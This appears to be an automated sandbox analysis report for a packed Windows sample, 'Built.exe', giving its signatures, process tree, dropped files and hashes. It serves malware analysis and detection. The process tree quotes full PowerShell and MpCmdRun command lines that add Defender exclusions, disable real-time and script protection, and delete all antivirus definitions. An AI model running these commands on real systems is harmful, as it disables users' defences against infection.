Analysis

  • max time kernel
    150s
  • max time network
    121s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260629-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    05/07/2026, 22:12

General

  • Target
    Built.exe
  • Size 19.2MB
  • Sample260705-14hfvsf12y
  • SHA256 090b0efc8a44b480863cd64f8c3cd2dae4d309809547b5a5399c937335be4213
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Deletes Windows Defender Definitions 2 TTPs 1 IoCs

    Uses mpcmdrun utility to delete all AV definitions.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 20 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • UPX packed file 55 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Built.exe
    "C:\Users\Admin\AppData\Local\Temp\Built.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:6104
    • C:\Users\Admin\AppData\Local\Temp\Built.exe
      "C:\Users\Admin\AppData\Local\Temp\Built.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:6076
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3612
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4220
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1556
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5984
        • C:\Program Files\Windows Defender\MpCmdRun.exe
          "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
          4⤵
          • Deletes Windows Defender Definitions
          PID:704
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5468
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:108
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "start bound.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1904
        • C:\Users\Admin\AppData\Local\Temp\bound.exe
          bound.exe
          4⤵
          • Executes dropped EXE
          PID:1396
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1088
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:1924
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5960
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic csproduct get uuid
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:720

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 435471b87a1a97b0e29f7d5dd0878e63031511f063629d7e750852c068e7c4f5
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 e56f4a38e0c60f0196c589e1952198368a10927e65ff24d1476ffafc489657f4
        • MD5 SHA1 SHA512 TLSH

        VCRUNTIME140.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI61042\VCRUNTIME140.dll
        • Size 117KB
        • SHA256 052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4
        • MD5 SHA1 SHA512 SSDEEP TLSH

        VCRUNTIME140_1.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI61042\VCRUNTIME140_1.dll
        • Size 48KB
        • SHA256 6a99bc0128e0c7d6cbbf615fcc26909565e17d4ca3451b97f8987f9c6acbc6c8
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _bz2.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI61042\_bz2.pyd
        • Size 51KB
        • SHA256 31bbbd635917ffc659a59b22d32fa0943edb0d52c07b1a4db02361e63f5c7f70
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _ctypes.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI61042\_ctypes.pyd
        • Size 67KB
        • SHA256 1b1d2ed69e1553c43d211718bf6d22c7c145544bb6f06fc47257f75b6295968b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _hashlib.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI61042\_hashlib.pyd
        • Size 38KB
        • SHA256 c8e4b1192e1d0471dc985b0427001ae63f2a833fe5c44ceee52e6913f10e8b8f
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _lzma.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI61042\_lzma.pyd
        • Size 88KB
        • SHA256 eac919e74adf32313ab00ee563c0bff042aadef6418be0b2b16bbfdb1a67add8
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _queue.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI61042\_queue.pyd
        • Size 28KB
        • SHA256 ef2c488ec5d544b217a4efdb02e699610333e6cab146084db418d9b5c7e143fa
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _socket.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI61042\_socket.pyd
        • Size 46KB
        • SHA256 b4de3cbb5096a2845398989269bb4dc6924b720e4c999e9458608864f2b0cf4a
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _sqlite3.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI61042\_sqlite3.pyd
        • Size 61KB
        • SHA256 cffdf0710c1a935043b10af50374bb01aceb71609ecdad2498cecee69fbd7ded
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _ssl.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI61042\_ssl.pyd
        • Size 69KB
        • SHA256 6dc920a676cfcd97ff95c90c5890930d245f8cf298d48177fc4a206cf0c8f76c
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _wmi.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI61042\_wmi.pyd
        • Size 30KB
        • SHA256 e8a04aff683766570dae911bfc19ec31cb2bb97a9e10bdee78d9d60c98198923
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _zstd.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI61042\_zstd.pyd
        • Size 176KB
        • SHA256 63c5e33d54f99d74219a09743a87904926fdd75e013ca23abc5ca04683842fd0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        base_library.zip

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI61042\base_library.zip
        • Size 1.3MB
        • SHA256 95c028a06c45d4bcdd41f7a68a48d586f72c1513d90b2563bc4af6ad5fe4d9c1
        • MD5 SHA1 SHA512 SSDEEP TLSH

        blank.aes

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI61042\blank.aes
        • Size 99KB
        • SHA256 92a2b36b51d6089831b2b87c3b3b3821dd7d76aa0381af09d8450e87c11da92e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        blank.aes

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI61042\blank.aes
        • Size 99KB
        • SHA256 fdacef6dbf6a90c8b3008d884063687cfe55a6e88ebfce1d36e880099cdf70e7
        • MD5 SHA1 SHA512 SSDEEP TLSH

        bound.blank

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI61042\bound.blank
        • Size 7.4MB
        • SHA256 cb8d9fa7e2f2ad53f343cbf7f07976bfe7f6fd2870bbc11c921a727208e67bc2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libcrypto-3.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI61042\libcrypto-3.dll
        • Size 1.6MB
        • SHA256 5fdac609f40e3676cd6e7450f2a440934e47e89be0ee125307488ec647295739
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libffi-8.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI61042\libffi-8.dll
        • Size 29KB
        • SHA256 135c772b42ba6353757a4d076ce03dbf792456143b42d25a62066da46144fece
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libssl-3.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI61042\libssl-3.dll
        • Size 369KB
        • SHA256 151d841ce73d817ee966a20393f1d4a63197cb2d62ffe6c75aac1674051217d7
        • MD5 SHA1 SHA512 SSDEEP TLSH

        python314.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI61042\python314.dll
        • Size 1.9MB
        • SHA256 db6ce6906d8f9c758d3ad3411198d867dcc300ebca3b51fba487f9725082707f
        • MD5 SHA1 SHA512 SSDEEP TLSH

        select.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI61042\select.pyd
        • Size 28KB
        • SHA256 092dc7a764d800c088091d5da4fa38802ee29a875551c949e2eafde75047ea9d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Lorem ipsum.txt

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI61042\setuptools\_vendor\jaraco\text\Lorem ipsum.txt
        • Size 1KB
        • SHA256 37fedcffbf73c4eb9f058f47677cb33203a436ff9390e4d38a8e01c9dad28e0b
        • MD5 SHA1 SHA512 TLSH

        sqlite3.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI61042\sqlite3.dll
        • Size 663KB
        • SHA256 dcd24a28b0064b3df0b065ecc6c41a5d2c75522b3776526598d022428172a116
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ucrtbase.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI61042\ucrtbase.dll
        • Size 1.3MB
        • SHA256 2e5fb14b7bf8540278f3614a12f0226e56a7cc9e64b81cbd976c6fcf2f71cbfb
        • MD5 SHA1 SHA512 SSDEEP TLSH

        unicodedata.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI61042\unicodedata.pyd
        • Size 277KB
        • SHA256 af117c8d84fd18da9e5d73f27c429717254a0fec3af56f971861f97a6710e7a4
        • MD5 SHA1 SHA512 SSDEEP TLSH

        __PSScriptPolicyTest_vebunweq.u2u.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vebunweq.u2u.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        bound.exe

        • Path C:\Users\Admin\AppData\Local\Temp\bound.exe
        • Size 9.5MB
        • SHA256 1749f1b032d3e2be6b9c81224822295d8b2009d76c1ad739b3cfd8cd167b7114
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/108-143-0x000001E85CD10000-0x000001E85CD32000-memory.dmp

        memory/5984-156-0x00000232FA6C0000-0x00000232FA6CA000-memory.dmp

        memory/5984-153-0x00000232FA8D0000-0x00000232FA8EE000-memory.dmp

        memory/5984-154-0x00000232FA8F0000-0x00000232FA9A2000-memory.dmp

        memory/6076-118-0x00007FFB62A30000-0x00007FFB62A66000-memory.dmp

        memory/6076-168-0x00007FFB50390000-0x00007FFB509C1000-memory.dmp

        memory/6076-113-0x00007FFB509D0000-0x00007FFB510DD000-memory.dmp

        memory/6076-129-0x00007FFB62710000-0x00007FFB62736000-memory.dmp

        memory/6076-131-0x00007FFB4FFA0000-0x00007FFB5012A000-memory.dmp

        memory/6076-87-0x00007FFB6D500000-0x00007FFB6D50F000-memory.dmp

        memory/6076-134-0x00007FFB65520000-0x00007FFB6552D000-memory.dmp

        memory/6076-93-0x00007FFB67620000-0x00007FFB6764C000-memory.dmp

        memory/6076-114-0x00007FFB62A70000-0x00007FFB62A8A000-memory.dmp

        memory/6076-140-0x00007FFB5C6E0000-0x00007FFB5C79E000-memory.dmp

        memory/6076-139-0x00007FFB67580000-0x00007FFB6758F000-memory.dmp

        memory/6076-107-0x00007FFB650B0000-0x00007FFB650C4000-memory.dmp

        memory/6076-98-0x00007FFB67590000-0x00007FFB6759D000-memory.dmp

        memory/6076-109-0x00007FFB50390000-0x00007FFB509C1000-memory.dmp

        memory/6076-155-0x00007FFB650B0000-0x00007FFB650C4000-memory.dmp

        memory/6076-120-0x00007FFB5BE90000-0x00007FFB5BFE3000-memory.dmp

        memory/6076-101-0x00007FFB67580000-0x00007FFB6758F000-memory.dmp

        memory/6076-117-0x00007FFB67670000-0x00007FFB67699000-memory.dmp

        memory/6076-164-0x00007FFB675A0000-0x00007FFB67620000-memory.dmp

        memory/6076-95-0x00007FFB675A0000-0x00007FFB67620000-memory.dmp

        memory/6076-176-0x00007FFB65520000-0x00007FFB6552D000-memory.dmp

        memory/6076-177-0x00007FFB5C6E0000-0x00007FFB5C79E000-memory.dmp

        memory/6076-175-0x00007FFB4FFA0000-0x00007FFB5012A000-memory.dmp

        memory/6076-174-0x00007FFB62710000-0x00007FFB62736000-memory.dmp

        memory/6076-171-0x00007FFB5BE90000-0x00007FFB5BFE3000-memory.dmp

        memory/6076-170-0x00007FFB62A30000-0x00007FFB62A66000-memory.dmp

        memory/6076-169-0x00007FFB62A70000-0x00007FFB62A8A000-memory.dmp

        memory/6076-167-0x00007FFB650B0000-0x00007FFB650C4000-memory.dmp

        memory/6076-166-0x00007FFB67580000-0x00007FFB6758F000-memory.dmp

        memory/6076-165-0x00007FFB67590000-0x00007FFB6759D000-memory.dmp

        memory/6076-159-0x00007FFB509D0000-0x00007FFB510DD000-memory.dmp

        memory/6076-163-0x00007FFB67620000-0x00007FFB6764C000-memory.dmp

        memory/6076-162-0x00007FFB67650000-0x00007FFB6766A000-memory.dmp

        memory/6076-161-0x00007FFB6D500000-0x00007FFB6D50F000-memory.dmp

        memory/6076-160-0x00007FFB67670000-0x00007FFB67699000-memory.dmp

        memory/6076-90-0x00007FFB67650000-0x00007FFB6766A000-memory.dmp

        memory/6076-84-0x00007FFB67670000-0x00007FFB67699000-memory.dmp

        memory/6076-79-0x00007FFB509D0000-0x00007FFB510DD000-memory.dmp